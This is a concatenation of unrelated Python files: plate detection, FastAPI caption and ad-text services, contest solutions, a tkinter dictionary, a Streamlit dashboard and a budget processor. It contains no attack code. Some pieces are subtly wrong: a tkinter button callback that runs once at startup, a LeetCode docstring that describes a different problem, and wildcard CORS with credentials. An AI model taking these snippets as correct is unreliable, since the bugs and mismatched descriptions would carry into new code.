                    for *xyxy, conf, cls in reversed(det):
                        if save_txt:  # Write to file
                            xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist()  # normalized xywh

                            x = xywh[0]
                            y = xywh[1]
                            w = xywh[2]
                            h = xywh[3]

                            img_plate = self.crop_img(xywh, im0)
                            img_rotate = self.rotate_image(img_plate)
                            # cv2.imwrite(save_path, img_rotate)
                            lst_plate.append(img_rotate)

                        if save_img or view_img:  # Add bbox to image
                            # label = f'{names[int(cls)]} {conf:.2f}'
                            label = f'Plate {conf:.2f}'
                            plot_one_box(xyxy, im0, label=label, color=colors[int(cls)], line_thickness=3)
                    self.img_plate.put(lst_plate)

                # Stream results
                if view_img:
                    cv2.imshow(str(p), im0)
                    cv2.waitKey(1)  # 1 millisecond

                # Save results (image with detections)
                if save_img:
                    if dataset.mode == 'image':
                        cv2.imwrite(save_path, im0)
                        # print("save_path")
                    else:  # 'video' or 'stream'
                        if vid_path != save_path:  # new video
                            vid_path = save_path
                            if isinstance(vid_writer, cv2.VideoWriter):
                                vid_writer.release()  # release previous video writer
                            if vid_cap:  # videoyolov5/runs/train/exp/
                                fps = vid_cap.get(cv2.CAP_PROP_FPS)
                                w = int(vid_cap.get(cv2.CAP_PROP_FRAME_WIDTH))
                                h = int(vid_cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
                            else:  # stream
                                fps, w, h = 30, im0.shape[1], im0.shape[0]
                                save_path += '.mp4'
                            vid_writer = cv2.VideoWriter(save_path, cv2.VideoWriter_fourcc(*'mp4v'), fps, (w, h))
                        vid_writer.write(im0)

        self.img_plate.put(None)

# t = LicensePlate()


import asyncio
import uuid

import sqlalchemy.exc
from fastapi import APIRouter, BackgroundTasks, Depends, FastAPI, HTTPException, status
from fastapi.encoders import jsonable_encoder
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from starlette.responses import JSONResponse

from models import ImageData
from state import get_session
from state.models import Caption, CaptionBase
from tasks.model import get_model
from tasks.pipeline import process_image

router = APIRouter(
    prefix="/caption",
    tags=["caption"],
)

app = FastAPI()

@app.on_event("startup")
async def startup_event():
    loop = asyncio.get_running_loop()
    await loop.run_in_executor(None, get_model)

@router.post(
    "/enquire/",
    status_code=status.HTTP_202_ACCEPTED,
    response_model=CaptionBase,
)
async def enquire_caption(
    image_data: ImageData,
    background_tasks: BackgroundTasks,
    session: AsyncSession = Depends(get_session),
):
    caption_obj = Caption(image_url=image_data.url)
    session.add(caption_obj)
    await session.commit()
    await session.refresh(caption_obj)
    background_tasks.add_task(process_image, image_data.url, caption_obj.pk)
    return JSONResponse(jsonable_encoder(caption_obj), status_code=status.HTTP_202_ACCEPTED)

@router.get("/retrieve/", status_code=status.HTTP_200_OK, response_model=Caption)
async def retrieve_caption(
    caption_uuid: uuid.UUID,
    session: AsyncSession = Depends(get_session),
):
    try:
        caption_obj = await session.execute(select(Caption).where(Caption.pk == caption_uuid))
        caption_obj = caption_obj.scalars().one()
    except (sqlalchemy.exc.MultipleResultsFound, sqlalchemy.exc.NoResultFound) as e:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=str(e)) from e
    return JSONResponse(jsonable_encoder(caption_obj), status_code=status.HTTP_200_OK)

app.include_router(router)


import heapq

def dijkstra(start):
    q = []
    heapq.heappush(q, (0, start))
    distance[start] = 0

    while q:
        dist, now = heapq.heappop(q)
        # 현재 노드가 이미 처리되어 있으면 패스
        if distance[now] < dist:
            continue

        # 인접노드 확인
        for i in graph[now]:
            cost = dist + i[1]
            if cost < distance[i[0]]:
                distance[i[0]] = cost
                heapq.heappush(q, (cost, i[0]))

INF = int(1e9)

N, D = map(int, input().split())

graph = [[] for _ in range(D+1)]
distance = [INF] * (D+1)

for i in range(D):
    graph[i].append((i+1, 1))

for _ in range(N):
    start, end, short = map(int, input().split())
    if end > D:
        continue

    graph[start].append((end, short))

dijkstra(0)

print(distance[D])


'''ARKAPRATIM GHOSH' TECHNO MAIN SALTLAKE'''
from tkinter import *
from PyDictionary import PyDictionary
#object
dictionary=PyDictionary()
root=Tk()
root.geometry("400x500")
root.title("Pocket Dictionary")
root.maxsize(400,500)
root.minsize(400,500)
def dict():
    meaning.config(text=dictionary.meaning(word.get())['Noun'][0])
    synonym.config(text=dictionary.synonym(word.get()))
    antonym.config(text=dictionary.antonym(word.get()))

Label(root,text="DICTIONARY",font=("ComicSansMS 20 bold"),fg="white",bg="grey",borderwidth=3,relief=SUNKEN).pack(pady=10,fill=X)

frame=Frame(root)
Label(frame,text="TYPE WORD",font=("comicsansms 15"),fg="white",bg="grey",borderwidth=3,relief=SUNKEN).pack(side=LEFT,fill=X,padx=2,pady=2)
word=Entry(frame,font=("comicsansms 15 bold italic"))
word.pack()
frame.pack(pady=10)

frame2=Frame(root)
Label(frame2,text="MEANING",font=("comicsansms 15"),fg="white",bg="grey",borderwidth=3,relief=SUNKEN).pack(side=LEFT)
meaning=Label(frame2,text="",font=("comicsansms 15"))
meaning.pack()
frame2.pack(pady=10)

frame3=Frame(root)
Label(frame3,text="SYNONYM",fg="white",bg="grey",font=("comicsansms 15"),borderwidth=3,relief=SUNKEN).pack(side=LEFT)
synonym=Label(frame3,text="",font=("comicsnasms 15"))
synonym.pack()
frame3.pack(pady=10)

frame4=Frame(root)
Label(frame4,text="ANTONYM",fg="white",bg="grey",font=("comicsansms 15"),borderwidth=3,relief=SUNKEN).pack(side=LEFT)
antonym=Label(frame4,text="",font=("comicsansms 15"))
antonym.pack()
frame4.pack(pady=10)

Button(root,text="SEARCH",font=("comicsnasms 15 italic"),command=dict()).pack()
root.mainloop()


import os.path
import sys

INTO_FILE = False
output = []

def fast_input(file_name):
    global INTO_FILE
    if os.path.isfile(file_name):
        INTO_FILE = True
        with open(file_name, 'r') as file:
            input_lines = file.readlines()
    else:
        INTO_FILE = False
        input_lines = sys.stdin.readlines()

    for line in input_lines:
        yield line

fast_input_reader = fast_input('input.txt')

def input():
    return fast_input_reader.__next__()

def print(line):
    output.append(str(line))

def solve():

    def time_to_sec(time) -> int:
        h, m, s = map(int, time.split(':'))
        return h * 60 * 60 + m * 60 + s

    # initialization
    N = int(input())
    morning, lunch_start, lunch_end, evening = map(time_to_sec, ['09:00:00', '13:00:00', '14:00:00', '18:00:00'])
    nails = [0 for _ in range(evening - morning + 1)]
    speeds = [0 for _ in range(evening - morning + 1)]
    prev_speed, prev_time = 0, 0

    # read schedule
    for i in range(N):
        cur_time_str, cur_speed_str = input().strip().split()
        cur_time = time_to_sec(cur_time_str) - morning
        cur_speed = int(cur_speed_str)
        for j in range(prev_time, cur_time):
            speeds[j] = prev_speed
        prev_time, prev_speed = cur_time, cur_speed
    for j in range(prev_time, evening - morning + 1):
        speeds[j] = prev_speed

    # before lunch
    if speeds[0] <= lunch_start - morning:
        nails[speeds[0]] = max(nails[speeds[0]], nails[0] + 1)
    for i in range(1, lunch_start - morning + 1):
        nails[i] = max(nails[i], nails[i - 1])
        if i + speeds[i] <= lunch_start - morning:
            nails[i + speeds[i]] = max(nails[i + speeds[i]], nails[i] + 1)

    # after lunch
    nails[lunch_end - morning] = nails[lunch_start - morning]
    for i in range(lunch_end - morning, evening - morning + 1):
        nails[i] = max(nails[i], nails[i - 1])
        if i + speeds[i] <= evening - morning:
            nails[i + speeds[i]] = max(nails[i + speeds[i]], nails[i] + 1)

    print(nails[-1])

def main():
    solve()
    answer = '\n'.join(output) + '\n'

    if INTO_FILE:
        with open('output.txt', 'w') as output_file:
            output_file.write(answer)
    else:
        sys.stdout.write(answer)

if __name__ == '__main__':
    main()

yandex training 3.0/olympiad_tier/dynamic programming 1-dim/buratino.py


def main(n, start_vx, labyrinth):
    start_row, start_col = start_vx[0] - 1, start_vx[1] - 1
    stack = [(start_row, start_col)]
    visited = set()
    square = 0

    def get_neighbors(r, c):
        return filter(lambda x: 0 <= x[0] < n and 0 <= x[1] < n, [(r - 1, c), (r + 1, c), (r, c - 1), (r, c + 1)])

    while stack:
        row, col = stack.pop()
        if (row, col) in visited:
            continue
        visited.add((row, col))
        square += 1
        for neighbor in get_neighbors(row, col):
            if labyrinth[neighbor[0]][neighbor[1]] == "*":
                continue
            stack.append(neighbor)
    return square

if __name__ == '__main__':
    n = int(input())
    labyrinth = []
    for _ in range(n):
        labyrinth.append(list(input()))
    start = list(map(int, input().split()))
    print(main(n, start, labyrinth))


import streamlit as st
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import time
import plotly.express as px
import seaborn as sns

st.set_page_config(layout="wide")
# Create a sample dataframe
df_solar_pred = pd.read_pickle('../predictions/predictions_full.pkl')

progress_bar = st.progress(0)
status_text = st.empty()

# we choose here
for t in range(96*2):
    if t == 0:
        result = [[df_solar_pred.iloc[t][1][:]]]
    else:
        result = np.append(result,[[df_solar_pred.iloc[t][1][:]]],axis=0)

for t in range(96*2):
    if t == 0:
        result_solar = [[df_solar_pred.iloc[t][2][:]]]
        result_price = [[df_solar_pred.iloc[t][4][:]]]
        result_consumption = [[df_solar_pred.iloc[t][3][:]]]
    else:
        result_solar = np.append(result_solar,[[df_solar_pred.iloc[t][2][:]]],axis=0)
        result_price = np.append(result_price,[[df_solar_pred.iloc[t][4][:]]],axis=0)
        result_consumption = np.append(result_consumption,[[df_solar_pred.iloc[t][3][:]]],axis=0)
# Set up Streamlit
st.title("Dataframe Plotting Dashboard")

# Display the dataframe
st.subheader("Dataframe")
#st.write(result2)
#
# Plot the dataframe
st.subheader("Plot")
#plot_type = st.selectbox("Select plot type", ('bar', 'line', 'scatter'))
plot = st.empty()

def plot_graph(ax, x, y, title, ylabel, beg, end, result):
    # Plot the line
    ax.clear()
    ax.plot(x, y, 'white')
    ax.set_title(title)
    ax.set_ylabel(ylabel)
    ax.set_ylim(beg, end)
    ax.set_xticks([result[i][0][0],result[i][0][47],result[i][0][-1]],labels=[f"{result[i][0][0].astype('datetime64[h]').astype(int) % 24:02}:{result[i][0][0].astype('datetime64[m]').astype(int) % 60:02}",f"{result[i][0][47].astype('datetime64[h]').astype(int) % 24:02}:{result[i][0][47].astype('datetime64[m]').astype(int) % 60:02}",f"{result[i][0][-1].astype('datetime64[h]').astype(int) % 24:02}:{result[i][0][-1].astype('datetime64[m]').astype(int) % 60:02}"])
    ax.set_xlim((result[i][0][0],result[i][0][-1]))
    ax.patch.set_facecolor('black')
    ax.spines['bottom'].set_color('white')
    ax.spines['left'].set_color('white')
    ax.xaxis.label.set_color('white')
    ax.yaxis.label.set_color('white')
    ax.tick_params(colors='white', which='both')

with plt.rc_context({'xtick.color':'white', 'ytick.color':'white', 'figure.facecolor':'black'}):
    fig1, (axes1, axes2, axes3)  = plt.subplots(3 , figsize=(10,7))
#fig1.patch.set_facecolor('grey')
#fig2, axes2 = plt.subplots(figsize=(20,3))
#fig3, axes3 = plt.subplots(figsize=(20,3))

# Setting the axis limits
num_iterations = result.shape[0]
for i in range(num_iterations):
    # Perform simulation step

    # Update progress bar and status text
    progress = (i + 1) / num_iterations
    progress_bar.progress(progress)
    status_text.text(f"Simulation Progress: {int(progress * 100)}%")
    # data
    x1, y1 = result[i][0], result_solar[i][0]
    x2, y2 = result[i][0], result_price[i][0]
    x3, y3 = result[i][0], result_consumption[i][0]

    #ticks

    #legend
    label_1 = "Predicted power [MWh]"
    label_2 = "Predicted price per MWh"
    label_3 = "Predicted Consumption [MWh]"

#    plt.subplot(3, 1, 2)
    plot_graph(axes1, x1, y1, 'Solar Generation', label_1, -200, 10000, result)
    plot_graph(axes2, x2, y2, 'Price per MWh', label_2, -0, 90, result)
    plot_graph(axes3, x3, y3, 'Consumption in [MWh]', label_3, 10000, 16000, result)

    #st.pyplot(fig1)
    plot.pyplot(fig1)

    #plot.line_chart(random_walk[:i+1])
    # Pause for simulation speed
    time.sleep(0.01)

# Display the plot
#st.pyplot(fig1)


#!usr/bin/env python

import sys

def allvowels(w):
    return 'a' in w and 'e' in w and 'i' in w and 'o' in w and 'u' in w

def anagram(w):
    return 'a' in w and 'n' in w and 'g' in w and 'l' in w and 'e' in w and len(w) == 5 and w != 'angle'

def main():
    words = [line.strip() for line in sys.stdin]
    w17 = [l for l in words if len(l) == 17]
    w18 = [l for l in words if len(l) >= 18]
    vw = [l for l in words if allvowels(l.lower())]
    mini = min(vw, key=len)

    fouras = [l for l in words if l.lower().count('a') == 4]
    q2 = [l for l in words if l.lower().count('q') >= 2]
    cie = [l for l in words if 'cie' in l]
    angle = [l for l in words if anagram(l.lower())]
    end_iary = [l for l in words if l.endswith('iary')]
    es = [l for l in words if all(l.lower().count('e') >= prev.lower().count('e') for prev in words)]

    print('Words containing 17 letters:', w17)
    print('Words containing 18+ letters:', w18)
    print('Shortest word containing all vowels:', mini)
    print("Words with 4 a's:", fouras)
    print("Words with 2+ q's:", q2)
    print("Words containing cie:", cie)
    print("Anagrams of angle:", angle)
    print("Words ending in iary:", str(len(end_iary)))
    print("Words with most e's:", es)

if __name__ == '__main__':
    main()


from dotenv import load_dotenv
load_dotenv()

from fastapi import FastAPI, Request
from starlette.middleware.cors import CORSMiddleware

import os
import requests

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.post('/posts/generate-ad-text')
def genenerate_ad():
    token = os.environ.get("TOKEN")

    headers = {
        'Authorization': "Bearer " + token
    }

    keywords = "laptop, LENOVO, Intel Core i5, Nvidia, Windows 11"

    response = requests.post('https://7583-185-48-148-173.ngrok-free.app/advertisement', headers=headers, json={
        "input_text": keywords
    })

    body = response.json()
    return {
        "text": body['output']
    }


class Solution:
    def monotone(self,nums):
        k = 1
        c = 1
        for i in range(0, len(nums) - 1):
            if nums[i] <= nums[i + 1]:
                k += 1
            if nums[i] >= nums[i + 1]:
                c += 1
        return k == len(nums) or c == len(nums)
print(Solution().monotone([1,3,2]))


##!/usr/bin/env python
'''
    @author [mst]
    @file   876_middle_of_list.py
    @brief  leetcode problems series
    876. Middle of the Linked List
    You are given the heads of two sorted linked lists list1 and list2.
    Merge the two lists in a one sorted list. The list should be made by splicing together the nodes of the first two lists.
    Return the head of the merged linked list.

    features, changelog:
    -2022.11: -submission

    @version 0.1 2022.11
'''

# Definition for singly-linked list.
class ListNode:
    def __init__(self, val=0, next=None):
        self.val = val
        self.next = next

# [demo] assisting function making a linked list out of a python list (array)
def make_list(nums):
    if not nums:
        return None

    head = ListNode(nums[0])
    p = head
    for n in nums[1::]:
        new_node = ListNode(n)
        p.next = new_node
        p = p.next

    return head

def print_list(lst : ListNode):
    while lst:
        print(f"{lst.val} -> ", end='')
        lst = lst.next
    print("")

# simple sliding-window solution
#submitted: 5% T 55% S
class Solution:
    def middleNode(self, head: ListNode) -> ListNode:
        if not head:
            return None
        step = head
        double = head

        while double and double.next:
            double = double.next.next
            step = step.next
        return step

    def append(self, lst: ListNode, value) -> ListNode:
        if not lst:
            return ListNode(value)

        p = lst
        while p.next:
            p = p.next
        p.next = ListNode(value)

        return lst

################## DRIVER
def main():
    print ("[mst] 876_middle_of_list")

    sol = Solution()

    # testing
    list1 = make_list([1,2,3,4,5])
    # list2 = make_list([1,3,4])
    list3 = sol.middleNode(list1)
    print_list(list3)

if __name__ == ("__main__"):
    main()


from transaction import Transaction

class TransactionProcessor:
    """ Processes a transaction. """

    @staticmethod
    def process_transaction(budget, bank_account):
        """
        Makes sure both the Budget and BankAccount allows for the Transaction
        to execute before actually executing it.
        """
        amount = None
        while amount is None:
            try:
                amount = float(input("Enter amount: "))
            except ValueError:
                print("Must be a number")
                continue
        shop = input("Enter shop/website name: ")

        transaction = Transaction(amount, budget.category, shop)

        if not bank_account.check_transaction(transaction):
            return False
        elif not budget.check_transaction():
            return False
        else:
            bank_account.execute_transaction(transaction)
            budget.execute_transaction(transaction)
            return True